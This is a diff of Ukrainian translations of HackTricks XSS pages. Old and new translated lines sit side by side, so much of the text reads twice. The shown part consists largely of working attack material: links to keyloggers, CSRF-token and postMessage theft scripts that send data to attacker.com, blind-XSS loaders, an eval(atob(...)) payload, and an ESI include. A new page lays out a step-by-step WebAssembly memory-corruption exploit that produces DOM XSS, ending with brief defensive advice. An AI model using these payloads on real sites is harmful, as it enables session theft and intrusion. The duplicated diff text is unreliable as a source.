- Коли keyword filters блокують код, комбінуйте з Unicode-escaped identifiers або `eval(atob('...'))` delivery, як показано вище.
### Keylogger
Просто шукаючи в github я знайшов кілька різних:
Просто шукаючи на github, я знайшов кілька різних варіантів:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Також можна використовувати metasploit `http_javascript_keylogger`
- Також можна використати metasploit `http_javascript_keylogger`
### Stealing CSRF tokens
```javascript
@ -1463,7 +1472,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### Перехоплення повідомлень PostMessage
### Викрадення повідомлень PostMessage
```html
<img src="https://attacker.com/?" id=message>
<script>
@ -1494,7 +1503,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Blind XSS payloads
Можна також використовувати: [https://xsshunter.com/](https://xsshunter.com)
Також можна використовувати: [https://xsshunter.com/](https://xsshunter.com)
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
@ -1559,9 +1568,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Доступ до прихованого вмісту
### Regex - Отримати прихований вміст
З [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все одно можна знайти в JS-атрибутах у різних об'єктах. Наприклад, input для REGEX все ще можна знайти навіть після того, як значення цього input для regex було видалено:
З [**цієї статті**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в JS-атрибутах різних об'єктів. Наприклад, введення REGEX все ще можна знайти після того, як значення введення REGEX було видалено:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1585,52 +1594,52 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS — використання інших вразливостей
## XSS Зловживання іншими вразливостями
### XSS in Markdown
### XSS у Markdown
Чи можна інжектувати Markdown-код, який буде відрендеровано? Можливо, так ви отримаєте XSS! Перевірте:
Можна інжектувати Markdown-код, який буде відрендерений? Можливо, ви зможете отримати XSS! Перевірте:
{{#ref}}
xss-in-markdown.md
{{#endref}}
### XSS to SSRF
### XSS у SSRF
Знайшли XSS на **сайті, що використовує кешування**? Спробуйте **підвищити його до SSRF** через Edge Side Include Injection за допомогою цього payload:
Отримали XSS на **сайті, що використовує кешування**? Спробуйте **перетворити його на SSRF** через Edge Side Include Injection за допомогою цього payload:
```python
<esi:include src="http://yoursite.com/capture" />
```
Використовуйте це, щоб обійти обмеження cookie, XSS-фільтри та багато іншого!\
Use it to bypass cookie restrictions, XSS filters and much more!\
Більше інформації про цю техніку тут: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS in dynamic created PDF
### XSS у динамічно створюваному PDF
Якщо веб-сторінка створює PDF, використовуючи вхідні дані, контрольовані користувачем, ви можете спробувати **обдурити bot**, який створює PDF, щоб він **виконав довільний JS code**.\
Тож, якщо **PDF creator bot finds** певні **HTML** **tags**, він їх буде **інтерпретувати**, і ви можете **abuse** цю поведінку, щоб спричинити **Server XSS**.
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\
Отже, якщо **бот, що створює PDF, знаходить** якийсь вид **HTML** **тегів**, він їх **інтерпретуватиме**, і ви можете **зловживати** цією поведінкою, щоб спричинити **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
Якщо ви не можете інжектувати HTML-теги, може бути корисно спробувати **inject PDF data**:
Якщо ви не можете інжектувати HTML-теги, можливо варто спробувати **inject PDF data**:
{{#ref}}
pdf-injection.md
{{#endref}}
### XSS in Amp4Email
### XSS в Amp4Email
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, використовує HTML-теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує низку компонентів для різних можливостей, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, призначений для прискорення роботи веб-сторінок на мобільних пристроях, використовує HTML-теги, доповнені JavaScript, для забезпечення функціональності з наголосом на швидкість та безпеку. Він підтримує низку компонентів для різних можливостей, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites).
Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює певні компоненти AMP для електронних листів, дозволяючи одержувачам взаємодіяти з контентом безпосередньо у своїх листах.
Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює певні AMP-компоненти для email, дозволяючи отримувачам взаємодіяти з контентом безпосередньо у своїх листах.
Приклад [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS uploading files (svg)
### XSS при завантаженні файлів (svg)
Завантажте як зображення файл, схожий на наступний (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html

View File

@ -0,0 +1,133 @@
# WebAssembly пошкодження лінійної пам'яті до DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Ця техніка показує, як баг пам'яті всередині модуля WebAssembly (WASM), скомпільованого з Emscripten, можна перетворити на надійний DOM XSS навіть якщо вхідні дані санітизовані. Поворот полягає в пошкодженні записуваних констант в лінійній пам'яті WASM (наприклад, HTML format templates) замість атаки на санітизований початковий рядок.
Ключова ідея: у моделі WebAssembly код розміщується в виконуваних сторінках, що не допускають запису, але дані модуля (heap/stack/globals/"constants") знаходяться в єдиній плоскій лінійній пам'яті (сторінки по 64KB), доступній для запису модулем. Якщо некоректний C/C++ код записує за межі буфера, ви можете перезаписати суміжні об'єкти і навіть константні рядки, вбудовані в лінійну пам'ять. Коли така константа пізніше використовується для побудови HTML для вставки через DOM sink, ви можете перетворити санітизований вхід у виконуваний JavaScript.
Модель загрози та попередні умови
- Веб-додаток використовує Emscripten glue (Module.cwrap) для виклику WASM-модуля.
- Стан застосунку зберігається в лінійній пам'яті WASM (наприклад, C struct'и з вказівниками/довжинами на буфери користувача).
- Input sanitizer кодує метасимволи перед збереженням, але пізніше рендеринг будує HTML, використовуючи форматний рядок, збережений в лінійній пам'яті WASM.
- Існує примітив корупції лінійної пам'яті (наприклад, heap overflow, UAF, або unchecked memcpy).
Мінімальна вразлива модель даних (приклад)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Уразливий шаблон логіки
- addMsg(): виділяє новий буфер розміром під очищений ввід і додає msg до s.mess, подвоюючи capacity за допомогою realloc коли потрібно.
- editMsg(): повторно санітизує і memcpyить нові байти в існуючий буфер без перевірки, що нова довжина ≤ попереднього виділення → intralinearmemory heap overflow.
- populateMsgHTML(): форматує очищений текст із вбудованим шаблоном типу "<article><p>%.*s</p></article>", що знаходиться в linear memory. Повернений HTML потрапляє в DOM sink (наприклад, innerHTML).
Грумінг аллокатора з використанням realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Надішліть достатню кількість повідомлень, щоб перевищити початкову ємність. Після розширення realloc() часто розміщує s->mess одразу після останнього буфера користувача в лінійній пам'яті.
- Переповніть останнє повідомлення через editMsg(), щоб зіпсувати поля всередині s->mess (наприклад, перезаписати msg_data вказівники) → довільний перепис вказівника в лінійній пам'яті для даних, що пізніше відображатимуться.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization захищає введення, не sinks. Знайдіть format stub, який використовується populateMsgHTML(), наприклад:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- Знайдіть stub детерміновано, скануючи лінійну пам'ять; це простий байтовий рядок у Module.HEAPU8.
- Після того як ви перезапишете stub, sanitized message content стає JavaScript-обробником для onerror, тож додавання нового повідомлення з текстом на кшталт alert(1337) дає <img src=1 onerror=alert(1337)> і виконується одразу в DOM.
Chrome DevTools workflow (Emscripten glue)
- Зробіть break на першому Module.cwrap виклику в JS glue і зайдіть у місце виклику wasm, щоб захопити аргументи-покажчики (числові зсуви в лінійній пам'яті).
- Використовуйте typed views, наприклад Module.HEAPU8, для читання/запису пам'яті WASM з консолі.
- Допоміжні сніпети:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
End-to-end exploitation recipe
1) Groom: додайте N малих повідомлень, щоб викликати realloc(). Переконайтеся, що s->mess суміжний із буфером користувача.
2) Overflow: викличте editMsg() для останнього повідомлення з більшим payload, щоб перезаписати запис у s->mess, встановивши msg_data повідомлення 0 вказувати на (stub_addr + 1). +1 пропускає провідний '<', щоб зберегти вирівнювання тегів під час наступного редагування.
3) Template rewrite: відредагуйте повідомлення 0 так, щоб його байти перезаписали шаблон на: "img src=1 onerror=%.*s "
4) Trigger XSS: додайте нове повідомлення, чиї санітизовані дані — JavaScript, наприклад alert(1337). Рендеринг видає <img src=1 onerror=alert(1337)> і виконується.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Чому цей bypass працює
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.
Узагальнення та інші вектори атаки
- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.
Рекомендації щодо захисту
- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
- Keep immutable templates out of writable linear memory or integrity-check them before use.
- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
- Avoid trusting URL-embedded state for privileged flows.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}